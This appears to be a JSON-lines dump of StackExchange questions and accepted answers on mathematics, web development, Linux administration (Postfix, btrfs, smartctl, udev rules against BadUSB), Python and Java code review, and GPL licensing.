{  "id": "_cstheory.11402"  , "question": "Suppose $f$ is a submodular set function on a universe $U$ of size $n$.For $k \\in \\{0,\\ldots,n\\}$, let$$ F(k) = \\operatorname*{\\mathbb{E}}_{X \\in \\binom{U}{k}} f(X), $$where $\\binom{U}{k}$ is the set of all subsets of $U$ of size $k$.We are interested in proving the following inequality:$$ F(k) \\geq \\frac{k}{n} F(n) + \\frac{n-k}{n} F(0). $$One can prove this inequality by induction on $k$ (or even directly, if we're careful), but this doesn't explain why the inequality holds. Instead, we will use some form of term rewriting.Submodularity directly implies the following inequality, for $k \\in \\{1,\\ldots,n-1\\}$:$$ F(k) \\geq \\frac{1}{2} F(k+1) + \\frac{1}{2} F(k-1). $$Imagine applying this inequality over and over again, in an arbitrary way. Here is an example for $n = 3$ and $k = 2$:$$ \\begin{align*} F(2) &\\geq \\frac{1}{2} F(3) + \\frac{1}{2} F(1) \\\\ &\\geq \\frac{1}{2} F(3) + \\frac{1}{4} F(2) + \\frac{1}{4} F(0) \\\\ &\\geq \\frac{5}{8} F(3) + \\frac{1}{8} F(1) + \\frac{1}{4} F(0) \\\\ &\\geq \\frac{5}{8} F(3) + \\frac{1}{16} F(2) + \\frac{5}{16} F(0) \\\\ &\\geq \\cdots \\\\ &\\geq \\frac{2}{3} F(3) + \\frac{1}{3} F(0). \\end{align*} $$The dots hide infinitely many steps.There is a way to make this argument completely rigorous. One can cook up some potential function that increases whenever one applies any instance of submodulary (for example, the expectation of squared cardinality). Taking the consequence of $F(k)$ maximizing this potential, it's easy to see that we get an inequality of the form$$ F(k) \\geq \\alpha F(n) + \\beta F(0). $$If $f$ is any modular function then there is equality. Taking $f = 1$ we find that $\\alpha + \\beta = 1$, and taking $f(X) = |X|$ we determine $\\alpha = k/n$.This argument extends to prove more interesting inequalities on submodular functions.Does this sort of reasoning look familiar?"  , "title": "Term rewriting for proving inequalities"  , "tags": "co.combinatorics;term rewriting systems;submodularity"  } 
{  "id": "_webmaster.45379"  , "question": "I have a website that changes hourly, new contents are added from different feeds, so no original contents at all,I have details pages where they show the details of every item,Then I have pages that link to details pages, they are overview of all the details pages, think about Ebay for example, you have places where you search and browse, then you can get into an auction.So I thought since the details pages have a short life, I index and follow them while they are active, then I make them no index and follow when they become inactive.In my sitemap I put the priority of details pages really low around .2And the browse or overview pages since they are permanent and remain there forever have a rank of .9The other problem I have is that the sitemap changes all the time, Google Webmaster tools seems to keep the older sitemaps, and it seems like I have to go resubmit the sitemap once in a while, why is that? why doesn't Google automatically re-read the sitemap?So I have two questions here1- Am I doing the right thing in the sitemap and the priority value, and no indexing short living pages?2- Do I need to resubmit the sitemap every time it changes (that would be hourly) or every once in a while? I noticed I can call a url to resubmit the sitemap according to Google documentation do you think I should do that and if so how often?"  , "title": "SEO Sitemap questions about a site that changes all the time"  , "tags": "seo;site maintenance"  } 
{  "id": "_unix.185632"  , "question": "I have installed mail server successfully on my vps according tohttps://www.digitalocean.com/community/tutorials/how-to-set-up-a-postfix-e-mail-server-with-dovecot.I create user joe with passwd ps1 with root successfully.When i lgoin into my vps , joe@mydomain.com can sent and receive email via postfix and dovecot .There two passwords here for joe : one is for joe to login into vps ,one is for joe to enter the email .which one will i fill in the password in thunderbird?I tried tow of them ,all failures.   Why can't connect my mail on my vps via thunderbird locally?  "  , "title": "thunderbird can't connect to my email box"  , "tags": "email;postfix;dovecot"  } 
{  "id": "_webmaster.20010"  , "question": "Is there a way I can load a CSS stylesheet to a site I'm viewing in a browser? I'm working on my company website. For obvious reasons I don't want to make changes to the live version of the site while I develop. Normally there is a development version I can work on, but this is currently down. All I need to do is add CSS and see these changes as I go along.  Firefox's web developer can add a local stylesheet, but as soon as you refresh the page or navigate away it stops being added and you have to manually add it again (even with persist features turned on). With all the incremental changes I need to make this isn't really a solution for me. "  , "title": "Load custom CSS through browser to site being viewed?"  , "tags": "css;web development"  , "accepted_answer": "You can put an alternate stylesheet into the header:<LINK href=mystyle.css title=Medium rel=alternate stylesheet type=text/css>You can then select it from Firefox with View->Page Style->your stylesheet.Anyone else viewing the page could do that, but I doubt they will think to do it. Presumably it's not a big problem if they do though.This addon amongst other things lets you specify a local stylesheet if you can't change the live site. (I've not used it myself.)"  } 
{  "id": "_scicomp.8782"  , "question": "I need to find the zero of a function $f(\\lambda)$ which is of the form $\\sum \\frac{c_i^2}{(1+\\lambda d_i)^2} -1 $. I tried using Newton's method, and it works sometimes, but it is higly dependent of the initial choice, and the chances of divergence are very high, since the function is almost flat. What would be the best method to find the zero of such a function?For now, I replaced Newton with secant method, and it seems to work better. "  , "title": "Best method to find the zero of a decreasing function numerically"  , "tags": "newton method;solver"  , "accepted_answer": "Off the top of my head, there are a number of things that may be going wrong. You might want to verify the followingAre the function values or derivatives you are computing numerically stable? Is the rounding error in their evaluation smooth? You can verify this visually by plotting an extremely small interval around a known root such that the function values are $\\pm \\varepsilon_\\mathsf{mach}$. If your function or derivative changes sign near the root, Newton's method won't work.What termination criteria are you using? If you're looking for a root $f(\\lambda)=0$ with $\\lambda \\in [a,b]$, do you stop when $|b-a|<\\tau$ or when $|f(\\lambda)|<\\tau$ where $\\tau$ is your tolerance? In either case, what is your rationale for your choice of $\\tau$ and how does it fit with the error/interval you observe in the previous point?Newton's method is a good hammer, but there are many functions that will look a lot like your thumb. The Secant method is a good choice for functions that are almost linear in the search interval, but will perform poorly as soon as you depart from that assumption. A good alternative is the so-called Illinois algorithm. A major advantage of interval methods is that they don't rely on the function or any of its derivatives being numerically smooth as you can run them until $fl(f(\\lambda))=0$ or until the search interval $[a,b]$ is numerically zero, i.e. $fl(a)=fl(b)$. "  } 
{  "id": "_unix.255305"  , "question": "Say I have a script that is always run from an interactive shell. I would like this script to launch an interactive subshell that is a replica of the parent (i.e., all environment variables, etc. preserved) and then run arbitrary commands (specifically, I would like to amend PS1 and define a few aliases). I need a genuine subshell (rather than using source, otherwise environment variables won't persist after the script has finished) and it needs to be shell agnostic (i.e., works with bash, zsh, etc.)The only way I've been able to accomplish this, so far, is to launch and script the shell with expect. This is a bit horrible, but it sort-of-works:expect <(cat <<-EXPECT  spawn $SHELL  send export FOO=\\$foo\\\\r  send PS1=\\(foo:$FOO) \\\\\\$PS1\\\\r  send alias foo=\\do_somthing --foo=$FOO\\\\r  send clear\\r  interactEXPECT)Is there a better way? (I also notice that this approach appears to introduce a problem with the screen redrawing and character encoding.)The problem with doing something like PS1=$foo $SHELL is that PS1 can be overridden by the shell's global and user .rc files. There doesn't seem to be a shell agnostic way of providing a custom .rc file."  , "title": "Start a subshell then run commands"  , "tags": "shell;expect;subshell"  } 
{  "id": "_codereview.108629"  , "question": "I was reading up on implementing Graphs in Python and I came across this Essay at python.org about graphs, so I decided to implement it, but with weighted edges.I start with arcs and their cost using list of lists and then iterate through it building a dictionary (Adjacency list format) that represents the Undirected Weighted Graph. I am looking for suggestions on how to improve the following code. Here I need to check every time if a vertex already exists in the dictionary using an if x in dict.keys() statement, which takes linear time for each node.data=[['A','B',5],  ['A','C',4],  ['B','C',2],  ['B','D',3],  ['C','D',10],  ['E','F',1],['F','C',6]]graph={}for row in data:    if row[0] in graph.keys():        graph[row[0]][row[1]]=row[2]        if row[1] not in graph.keys():            graph[row[1]]={}            graph[row[1]][row[0]]=row[2]        else:            graph[row[1]][row[0]]=row[2]    else:        graph[row[0]]={}        graph[row[0]][row[1]]=row[2]        if row[1] not in graph.keys():            graph[row[1]]={}            graph[row[1]][row[0]]=row[2]        else:            graph[row[1]][row[0]]=row[2]print graphThe output of the above code is:>>{'A': {'C': 4, 'B': 5},    'C': {'A': 4, 'B': 2, 'D': 10, 'F': 6},    'B': {'A': 5, 'C': 2, 'D': 3},    'E': {'F': 1},    'D': {'C': 10, 'B': 3},    'F': {'C': 6, 'E': 1}}"  , "title": "Converting a List of arcs into Adjacency list representation for graph using dictionary"  , "tags": "python;matrix;graph"  , "accepted_answer": "Overall this is pretty good. Here are a few suggestions for making it even better:You have a lot of repeated code in your if branches. Since this code will run on either iteration, its better to pull it out of the branches. This reduces code repetition, and makes it clearer that this code will always run. Heres what it reduces to:for row in data:    if row[0] not in graph.keys():        graph[row[0]]={}    if row[1] not in graph.keys():        graph[row[1]]={}    graph[row[0]][row[1]]=row[2]    graph[row[1]][row[0]]=row[2]Next you have the problem that you need to initialise every vertex with one empty dictionary. Rather than doing this by hand, you can use collections.defaultdict from the standard library. You specify a default factory method, and whenever you try to access a key which hasnt already been set, it fills in the default for you.Now the code becomes:import collectionsgraph = collections.defaultdict(dict)for row in data:    graph[row[0]][row[1]]=row[2]    graph[row[1]][row[0]]=row[2]It can be a bit unwieldy to follow these numeric indices around. You can use tuple unpacking at the top of the for loop to name the individual parts of the row:for vertex0, vertex1, weight in data:    graph[vertex0][vertex1] = weight    graph[vertex1][vertex0] = weightIt would be better to wrap your graph-making code in a function, graph_from_data(), so that you can reuse it in other modules.You should also move the bits of this code that cant be reused into an if __name__ == '__main__' block  this means the same file can be both a module and a script. If I do an import from this file, I wont get an example graph printed as a side effect."  } 
{  "id": "_softwareengineering.81794"  , "question": "I'm about to begin a big PHP project with a friend. It's my first time using PHP and I've been wondering wether I should try developing on Linux since it's so popular.I've had some past experience with Linux and the choice of an editor won't be hard since I know vim (though I've looked at VS.PHP and it's putting me back from the change).Does using Linux when developing PHP (or any web language) give me an advantage?"  , "title": "What advantages does Linux give me when developing in PHP for the web?"  , "tags": "web development;php;linux"  , "accepted_answer": "It depends what you call web development and how you do want to work. For instance running Photoshop natively is impossible (sure with some VM or emulation there are ways to do that or you can simply use GIMP.)  If you're planning to do pure coding - it depends on what you love during development.You won't get as good live editor as dreamweaver although Eclipse and NetBeans do the job of IDE. Sure Eclipse would be obvious choice here.If you like wamp server on windows, xamp is available on Linux, but it's not as simple. I usually end up with just apache2 and needed modules. On the other hand:Make/bash.sh/fab files feels in home under Linux and it may increase your performance a lot doing repetitive commands. Sure there is .bat files but under Linux its way more easier and way more clearer how script should work what commands it should use and ect. Because it's Linux you will learn how to deploy in such servers much faster.If you learn VIM (that takes some time) - its fastest editor around. Emacs also fast, but nowhere near VIM speed of editing. Sure don't jump on it too soon - it will scare you!So thats 3 points for both sides. All in all - Linux is just an OS. Tools makes it good and the person it uses makes it fast/slow. I had problems when i needed older versions of php, but overall I use Linux every day not because its better for development, but because it's way better OS, although it has a steep learning curve. I must say that i don't have huge experience developing in php under Linux so i might be missing some points.  Talking about other web languages:I don't really know about Ruby, but i heard that its better than on windows due to some(?) services and system tools that downloads gems easily.Django is way better in Linux - It runs better, it takes half as much to deploy as in Windows (just for developing). Its easy to deploy in Linux servers and pain in the ass to do the same in windows production servers. Finally I just can recommend to try it, not because it may bring some speed to your development, but because it is Linux and it is awesome."  } 
{  "id": "_cs.1394"  , "question": "I'm trying to figure out a way I could represent a Facebook user as a vector. I decided to go with stacking the different attributes/parameters of the user into one big vector (i.e. age is a vector of size 100, where 100 is the maximum age you can have, if you are lets say 50, the first 50 values of the vector would be 1 just like a thermometer).Now I want to represent the Facebook interests as a vector too, and I just can't figure out a way. They are a collection of words and the space that represents all the words is huge, I can't go for a model like a bag of words or something similar. How should I proceed? I'm still new to this, any reference would be highly appreciated."  , "title": "How to represent the interests of a Facebook user"  , "tags": "machine learning;modelling;social networks;knowledge representation"  , "accepted_answer": "The interests are categorical data and may be modeled as binary variables (a user either likes them or he does not). You can subsume little-used categories under broader categories. For example, a user who likes a little-known horror movie can simply be marked as liking horror movies. You can even subsume such items under multiple categories if it belongs to several.For what you can do with the data see A Review on Data Clustering Algorithms for Mixed Data"  } 
{  "id": "_softwareengineering.181416"  , "question": "My company uses a mix of onsite and increasingly offsite contractors for development of websites and online applications.Our platform uses a mix of open source software and libraries that we've made a number of modifications to over the years.  Some of the modified software is licensed GPLv2 without the linking exception.  For various reasons, we do not want the source to be made public.The concern is that if we supply the binaries to our platform for our offsite developers, we are obligated to supply the source code upon request.  Additionally, there will be times when we need to distribute the source of our modified libraries.  From there, nothing would seem to preclude the contractor from redistributing the work.The GPL FAQ states:. . . when the organization transfers copies to other organizations or individuals, that is distribution. In particular, providing copies to contractors for use off-site is distribution.Furthermore, the GPL states: You may not impose any further restrictions on the recipients' exercise of the rights granted herein.The question is: what can be done to restrict offsite contractors from redistributing our modified code?A note, that I think the GPLv3 addresses this concern with the following clause.  So my question is specifically about GPLv2-licensed modified code:You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright."  , "title": "What can a company do to restrict offsite contract developers from redistributing GPLv2-licensed code modifications?"  , "tags": "licensing;gpl;contract"  , "accepted_answer": "In all seriousness, get an attorney experienced in these matters.It seems to me that your contractors are working on your behalf, accessing your software, and this is not distribution (in a common sense standpoint).  I would ensure that the contract with your contractors is a work for hire, causing you to own their work on your behalf (like an employee).  If this is not the case, you don't likely own the copyright to their modifications anyway.Common sense would dictate that an appropriate work for hire contract whereby they are working on your software on your behalf and not for their own use -- it would not conflict with GPL."  } 
{  "id": "_cs.41170"  , "question": "We just had an interesting though for a routing algorithm for people carpooling. Imagine the following situation:Person 1 is driving with his car from the south of city A to city B far in the north. He is picking up person 2 who is starting in the west of city A and person 3 who is starting in the east of city A. Person 2 and 3 only use public transport. Most likely, the optimal solution will be that they meet somewhere in the center or north part of city A and then drive on from there.Any hints on an algorithm to find that solution?"  , "title": "Route planning for a car driver picking up people using public transport"  , "tags": "algorithms;graph theory;routing"  , "accepted_answer": "A generalized version of this problem is likely $NP$-complete, however given that very few people are sharing the same car, you can probably get away with an exact, exponential time algorithm.Assuming your road network is given as a graph, for every node you will want to store:The earliest time each person using public transport can get to that nodeFor every subset of people sharing the car, what is the earliest time the car can get to that point with that subset of people in itBasically, if you have $n$ persons and one car, you would get a graph with $2^n+n$ layers (one layer for each subset and one layer for each person using public transport).You can use a Dijkstra-like algorithm to compute these values. You do a multi-start search, starting from the homes of all the people involved. Whenever the car gets to a new node you check whether any people are ready to join the car, if so, you branch (the car continues without picking them up, but also moves to any layers in the graph that can be reached by picking people up). Whenever a person gets to a new node, you check whether the car has already reached that node (and also branch).Note it is not really branching, but rather pushing more nodes on to the priority queue."  } 
{  "id": "_unix.326922"  , "question": "I accidentally deleted everything in ~/.config/xfce4 in the process of backing it up (yeah, laugh it up). Simple question, is there a way to have xfce write all configurations currently in memory back to disk?"  , "title": "write existing xfce4 configurations to disk"  , "tags": "xfce"  } 
{  "id": "_unix.162575"  , "question": "I'm trying to install MPLAB X onto my kali Linux 64-bit OS and every time I get to the last part of installation I receive this message:root@kali:~/Desktop# sudo chmod 755 mla_v2014_07_22_linux_installer.runroot@kali:~/Desktop# sudo ./MPLABX-v2.20-linux-installer.sh  64 Bit, check libraries  Check for 32 Bit libraries  These 32 bit libraries were not found and are needed for MPLAB X to run:   libc.so   libdl.so   libgcc_s.so   libm.so   libpthread.so   librt.so   libstdc++.so   libexpat.so   libX11.so   libXext.soWhen I enter this command I get this message:root@kali:~/Desktop# sudo apt-get install libc6:i386 libx11-6:i386 \\     libxext6:i386 libstdc++6:i386 libexpat1:i386Reading package lists... DoneBuilding dependency tree      Reading state information... DoneE: Unable to locate package libc6E: Unable to locate package libx11-6E: Unable to locate package libxext6E: Unable to locate package libstdc++6E: Couldn't find any package by regex 'libstdc++6'E: Unable to locate package libexpat1How do I find these libraries?right now it's killing me, It shouldn't be this complicated!!!"  , "title": "where can I find the 32-bit libraries needed to run MPLAB X?"  , "tags": "kali linux;libraries"  } 
{  "id": "_cs.67178"  , "question": "I have been reading some material about undecidability of a language, and I am not quite sure of one part. For what I see:I start with a decider H, that has an input <M,w> where M is a Turing Machine and w is a string, so I have the following:H(<M,w>)=accept if M accepts w         rejects if M rejects wall fine until this point. Now it says that I construct a new Turing Machine D, and this TM has H as a subroutine. If I make a graph I imagine something like this:-------------      D that is a TM|   -----   ||   | H  |  ||   |____|  ||___________|So it says that D calls H to determine what M would do if the input is M, it means something like:H(M,<M>)Now it says that it should do the opposite this decider H, it means that:H(M,<M>)=reject if M accepts <M>         accepts if M rejects <M>        ---------(1)and this procedure can be generalized for D like:D(<M>)=accept if M does not accept <M> ----------(2)       reject if M accept <M>I have two questions here, for not opening another thread, but in part (1) why the decider H makes the opposite? What would happen if it does not? I have read in a book that the argument is that sometimes a program can receive a program as an input, such as in a compiler, why it decides to do the opposite?The interpretation of part (2) does it mean that the Turing Machine D, with input M, this input refers to the same Turing Machine that was put as an input for the decider H? At the ends there is a contradiction, but I cannot get it, why in step (1) it is decided to do the opposite?"  , "title": "undecidability proof by using Turing Machines"  , "tags": "computability;turing machines;undecidability"  } 
{  "id": "_unix.117742"  , "question": "Is there a diagram that shows how the various performance tools such as ip, netstat, perf, top, ps, etc. interact with the various subsystems within the Linux kernel?"  , "title": "Diagram of Linux kernel vs. performance tools?"  , "tags": "linux;performance"  , "accepted_answer": "I came across this diagram which shows exactly this.   In the above you can see where tools such as strace, netstat, etc. interact with the Linux kernel's subsystems. I like this diagram because it succinctly shows where each tool latches on to the Linux kernel, which can be extremely helpful when you're first learning about all the tools and their applications.Source: Linux PerfToolsReferencesLinux Performance"  } 
{  "id": "_softwareengineering.37798"  , "question": "My team creates a lot of one-off web forms. Most of these forms just send an e-mail, and a few do a simple database write. Right now, each form lives in its own separate solution in Visual Studio Team Foundation Server. That means we have close to 100 different form projects, which makes it difficult to maintain consistency. Each form is unique in that the fields are different, but all of them do pretty much the same thing.I'm looking to condense these somehow, and I could really use some guidance. Should I try to create one solution file with all of our form projects in it? There isn't a lot of plumbing code, although I could create a few helper classes to help with e-mail formatting and such. It would be very helpful to be able to share CSS, JavaScript, controls and images across projects.Given that we're a Microsoft shop, are there any tangible benefits to going with something like MVC over Webforms for this specific scenario? I am sold on the concept of MVC as a whole, but would it help me pull together a 15-field data collection form more efficiently if all that form does is send an e-mail? The form that got me thinking about this had a good bit of logic built in to show and hide fields based on the user's responses and seems like it would have been less efficient to use MVC and jQuery."  , "title": "How to organize repetitive code?"  , "tags": "design;refactoring"  } 
{  "id": "_softwareengineering.228745"  , "question": "I've about seven modules arranged like so:ServiceProcessingCommonAccountEmailSchedulingI try to make it my policy to restrict code to the module that actually uses it. Code that is shared by multiple projects (3+) is sent to common. However, there are a few classes that are only used by two projects. In my most recent example, both Account and Processing need some Image Processing done.Is it a code smell two have the same classes found in two modules? Should I move duplicate code into common as soon as it it's used more than once?"  , "title": "Code Duplication in Multi-Module Project"  , "tags": "design;refactoring;code smell"  } 
{  "id": "_unix.244181"  , "question": "I ran smartctl -l xerror on a Seagate ST31000528AS (1TB disk with 512-byte sectors), and it gave me (in part):Error 597 [16] occurred at disk power-on lifetime: 11903 hours (495 days + 23 hours)  When the command that caused the error occurred, the device was active or idle.  After command completion occurred, registers were:  ER -- ST COUNT  LBA_48  LH LM LL DV DC  -- -- -- == -- == == == -- -- -- -- --  40 -- 51 00 00 00 74 59 00 70 bc 00 00  Error: UNC at LBA = 0x74590070bc = 499709407420  Commands leading to the command that caused the error were:  CR FEATR COUNT  LBA_48  LH LM LL DV DC  Powered_Up_Time  Command/Feature_Name  -- == -- == -- == == == -- -- -- -- --  ---------------  --------------------  60 00 00 00 08 00 74 59 00 70 b8 40 00 12d+16:57:44.392  READ FPDMA QUEUED  ea 00 00 00 00 00 00 00 00 00 00 a0 00 12d+16:57:40.893  FLUSH CACHE EXT  ea 00 00 00 00 00 00 00 00 00 00 a0 00 12d+16:57:40.801  FLUSH CACHE EXT  61 00 00 00 08 00 08 a8 00 43 18 40 00 12d+16:57:40.800  WRITE FPDMA QUEUED  61 00 00 00 08 00 08 af 00 40 68 40 00 12d+16:57:40.800  WRITE FPDMA QUEUEDI'm really confused what this meansin particular the LBA48 it's giving. hdparm -I confirms the disk has 1,953,525,168 sectors; 499,709,407,420 is well beyond that. (It'd need a disk of 256TB to be valid, even with 512-byte sectors.)Judging from the kernel logs, the LBA48 is probably actually 1,953,520,060  testing with dd and hdparm --read-sector confirm that sector is indeed bad. (Indeed, that one also shows up in smartctl -l xselftest).Why is the extended error log giving an LBA48 that appears to be almost 256 (but not quite!) times greater than the real value? Looking at the hex values, it appears the bytes are in the wrong orderis this maybe just a drive firmware bug?"  , "title": "Why is `smartctl -l xerror` LBA well beyond end of disk?"  , "tags": "hard disk;sata;smartctl;smart"  } 
{  "id": "_unix.36292"  , "question": "When I do ps -ef, I see TIME field. What does this field mean? From what I understand, this tells the actual CPU time, that the process got (amidst all the context switching). Does the TIME field include the disk read/write time also or only the CPU time?"  , "title": "The TIME field in ps -ef"  , "tags": "linux;process;ps;administration;top"  } 
{  "id": "_unix.359478"  , "question": "I have a GTK application in C++ running, and one of the widgets is a dropdown menu. I want to take a screenshot when this menu is open, but nothing happens when I press Print Screen (it works when the menu is closed). I don't think this is a GTK thing: how can I take a screenshot when the menu is open?"  , "title": "Linux take screenshot when menu is open"  , "tags": "screenshot"  } 
{  "id": "_scicomp.20884"  , "question": "I am facing the following problem. I need to solve numerically a set of coupled equations $$i\\frac{d}{dt}f_{n}^{(i)}(t) = \\left[U\\cdot n(n-1) + \\mu\\cdot n\\right]f_{n}^{(i)}(t) - \\sqrt{n+1}\\Phi_i^{*}\\ f_{n+1}^{(i)}-\\sqrt{n}\\Phi_{i}\\ f_{n-1}^{(i)}$$where $U,\\mu$ are just constants and $$\\Phi_{i} = \\sum\\limits_{n=1}^{N}\\left( f_{n-1}^{(i+1)}(t)\\right)^{*}\\ f_{n}^{(i+1)}(t)\\sqrt{n}$$has to be determined self-consistently. These are coupled differential equations where $i = 1,2,\\ldots, M$ and $n = 0,1,,\\ldots, N$. What kind of numerical methods can be used in order to solve this problem efficiently? To be clear, I am looking for time evolution of each $f_{n}^{(i)}$ (complex numbers)."  , "title": "Time dependent self-consistent equations"  , "tags": "algorithms;ode;nonlinear equations;computational physics;computational chemistry"  } 
{  "id": "_unix.169690"  , "question": "I work on a shared linux enviroment (CentOS), but for some reason one of my logins has been locked. When I do a cat /etc/passwd | grep /home, I can find my user:roaming:x:579:579::/home/roaming:/bin/nologinI've got root permission, but don't know what to do to be able to login again. What should I do about this 'no login' thing??"  , "title": "Linux user not being able to login (/bin/nologin)"  , "tags": "users;login"  , "accepted_answer": "man 8 nologin There is your real answer as to why it isn't working.If you want the user to log in then you need to give them a shell like /bin/bash or something else.You can edit /etc/passwd directly or use usermod -s /bin/bash roaming, all of this needs to be done as root."  } 
{  "id": "_softwareengineering.316398"  , "question": "ES2015 introduced the let and const keywords, which essentially have the same semantics apart from reassignment. (const can be seen as a final variable in languages like Java.)I see the point of switching from var to let, but many online articles recommend using const whenever possible (in some form of manual SSA).However, I recall in the question on Java final variables, the accepted most popular answer adviced against using final local variables because it makes the code more difficult to understand.This is reflected in reality as a number of code review comments questioned the over-use of const on local variables.So does const still reduces readability in JavaScript?"  , "title": "TypeScript/ES2015: Prefer `const` instead of `let` reduces readability?"  , "tags": "javascript;coding style;typescript"  , "accepted_answer": "*sigh*... This is why immutable needs to be the default.  Even the referenced Java answer suggests this.  Note that that answer does not recommend removing final modifiers, just that the author of that answer wouldn't add them in new code (for local variables) because they clutter up the code.  However, there is a difference between JavaScript and Java here.  In Java, final is an additional modifier on a variable declaration, so you get:final int foo = 3; // versusint foo = 3;In JavaScript, though, const is just an alternate variable declaration, so the situation is:var foo = 3; // (or let nowadays) versusconst foo = 3;I don't think two more characters constitutes clutter.  If the alternative being suggested is just foo = 3 then the reviewers are just wrong.Personally, I would always use const when applicable and would suggest it's inclusion in a code review.  But then I'm a Haskeller, so I would be like that.  But also, JavaScript tends to be more pervasively mutable and have a worse debugging story when things do unexpectedly change, that I would say const in JavaScript is more valuable than final in Java (though it's still valuable there.)As Ixrec points out, const only controls the modifiability of the binding, not the object that is bound.  So it's perfectly legal to write:const foo = { bar: 3 };foo.bar = 5;This can be used as an argument against using const as someone may be surprised when an unmodifiable object is modified.  Newer versions of JavaScript do have a mechanism to actually make objects unmodifiable, namely Object.freeze.  It makes a good addition to const (though only use it on objects that you create, for example, as Object.freeze({ ... })).  This combination will communicate and enforce your intent.  If used consistently, the times where you are mutating things will stick out and clearly signal non-trivial data flow."  } 
{  "id": "_unix.373252"  , "question": "is this udev-rule in /etc/udev/rules.d/10-usb-deny.rules :ACTION==add, ATTR{bInterfaceClass}==* \\RUN+=/bin/sh -c 'echo 0 >/sys$DEVPATH/../authorized'ACTION==add, ATTR{bDeviceClass}==* \\RUN+=/bin/sh -c 'echo 0 >/sys$DEVPATH/../authorized'sufficient to prevent BadUsb attacks?Digging a bit deeper into the rabbit hole:Anything handled by usb-storage driver passes by that rule.So thumbdrives to usb-SSDs are still a threat.Adding:install usb-storage /bin/trueto /etc/modprobe.d/usb-storage.confis the next obvious thing to do, if I want to be on the safe side.The rabbit hole is even much deeper: Anything with a filesystem passes by that rule and can be activated by USBdevices. So CD/DVD and SDcards are probably the most common hardware to block.Adding:install cdrom /bin/trueto /etc/modprobe.d/cdrom.confand install mmc-core /bin/trueto /etc/modprobe.d/mmc-core.confwill block CD/DVD and SDcards. These three fakeinstalls should be sufficient on standard hardware. On a Laptop or a system with SSH-access you could alternatively fakeinstall usbcore and mmc-coreinstaed as there you don't need keyboard or mouse."  , "title": "How to prevent BADUSB attacks in debian 9 stretch?"  , "tags": "linux;debian;security;linux kernel;usb"  } 
{  "id": "_unix.340289"  , "question": "For example:I have a subvolume /home and create a snapshot:btrfs subvolume snapshot /home /temp/snapshotIs there any connection, that tells me that the new subvolume /temp/snapshot was originally cloned from /home?In other words: If I delete everything in /temp/snapshot and create a new empty subvolume /temp/snapshot2, are these subvolume of different types whatsoever?"  , "title": "Can the original source subvolume of a btrfs snapshot be found by examining that snapshot?"  , "tags": "filesystems;btrfs"  , "accepted_answer": "The answer to your first question is yes. Not only can you determine the source subvolume of a snapshot, you can also see the snapshots for a given subvolume.For example if you run: btrfs subvol show /temp/snapshot you'll see something like this:MOUNT_POINT/temp/snapshot        Name:                   snapshot        UUID:                   862e55f5-d1a0-4742-87ed-b430dd181a97        Parent UUID:            5c1e9a70-3158-6940-94d4-be82e064f8df        Received UUID:          -        Creation time:          2017-01-26 22:34:21 -0500        Subvolume ID:           940        Generation:             29824        Gen at creation:        29824        Parent ID:              5        Top level ID:           5        Flags:                  readonly        Snapshot(s):If that snapshot itself is the source of other snapshots, you'd see them listed under snapshot(s). The Parent UUID is the source subvolume, which you can use with btrfs subvol list and grep to get more information about the source subvolume:$ btrfs subvol list -u . | grep 5c1e9a70-3158-6940-94d4-be82e064f8dfID 878 gen 29824 top level 5 uuid 5c1e9a70-3158-6940-94d4-be82e064f8df path home"  } 
{  "id": "_softwareengineering.159789"  , "question": "The Wikipedia article on Parrot VM includes this unreferenced claim: Core committers take turns producing releases in a revolving schedule, where no single committer is responsible for multiple releases in a row. This practice has improved the project's velocity and stability.Parrot's Release Manager role documentation doesn't offer any further insight into the process, and I couldn't find any reference for the claim. My first thoughts were that rotating release managers seems like a good idea, sharing the responsibility between as many people as possible, and having a certain degree of polyphony in releases. Is it, though? Rotating release managers has been proposed for Launchpad, and there were some interesting counterarguments: Release management is something that requires a good understanding of  all parts of the code and the authority to make calls under pressure if  issues come up during the release itselfThe less change we can have to the release process the better from an  operational perspectiveDon't really want an engineer to have to learn all this stuff on the  job as well as have other things to take care of (regular development  responsibilities)Any change of timezones of the releases would need to be approved with  the SAsand: I think this would be a great idea (mainly because of my lust for  power), but I also think that there should be some way making sure that  a release manager doesn't get overwhelmed if something disastrous  happens during release week, maybe by have a deputy release manager at  the same time (maybe just falling back to Francis or Kiko would be  sufficient).The practice doesn't appear to be very common, and the counterarguments seem reasonalbe and convincing. I'm quite confused on how it would improve a project's velocity and stability, is there something I'm missing, or is this just a bad edit on the Wikipedia article? Worth noting that the top voted answer in the related Is rotating the lead developer a good or bad idea? question boldly notes: Don't rotate."  , "title": "How can rotating release managers improve a project's velocity and stability?"  , "tags": "release management"  } 
{  "id": "_softwareengineering.270988"  , "question": "import java.util.List;import java.util.ArrayList;public class Test {    /**     * @param args     * @throws Exception      */    public static void main(String[] args) throws Exception {        // TODO Auto-generated method stub        Deque queue = new Deque();        int random = (int)(Math.random() * 100);        queue.addLast(10);        queue.addLast(20);        queue.addLast(random);        queue.addLast(40);        queue.addLast(50);        for(int i = 0; i < 2; i++) {            assertTrue(get(queue, 0) == 10);            assertTrue(get(queue, 1) == 20);            assertTrue(get(queue, 2) == random);            assertTrue(get(queue, 4) == 50);            assertTrue(get(queue, 3) == 40);            try {                System.out.println(get(queue, 5));                assertTrue(false);            } catch(Exception e) {                assertTrue(true);            }        }           }    public static void assertTrue(boolean v) {        if(!v) {            Thread.dumpStack();            System.exit(0);        }    }    public static int get(Deque queue, int index) throws Exception     {             // 1) Only fill in your code in this method        // 2) Do not modify anything else        // 3) Use of 'new' keyword is not allowed        // 4) Do not use reflection        // 5) Do not use string concatenation        return queue.getList().get(index);          }}class Deque {    private List<Integer> items;    public Deque() {        items = new ArrayList<Integer>();    }    public void addFirst(int item) {        items.add(0, item);    }    public void addLast(int item) {        items.add(item);    }    public int removeFirst() {        if(isEmpty()) throw new RuntimeException();        return items.remove(0);    }    public int removeLast() {        if(isEmpty()) throw new RuntimeException();        return items.remove(items.size() - 1);    }    public boolean isEmpty() {        return items.size() == 0;    }    public List<Integer> getList()    {        return items;           }}Thanks~July"  , "title": "How should I change in get method without calling getList() of Deque?"  , "tags": "java;constructors"  , "accepted_answer": "You can use recursion to remove index-1 elements from the beginning of the queue, store the the first element and then, as you are unwinding the recursion, put removed elements back on the queue:public static int get(Deque queue, int index) throws Exception {    int tmp = queue.removeFirst();    try {        if (index == 0) {            return tmp;        } else {            return get(queue, index - 1);        }    } finally {        queue.addFirst(tmp);    }}"  } 
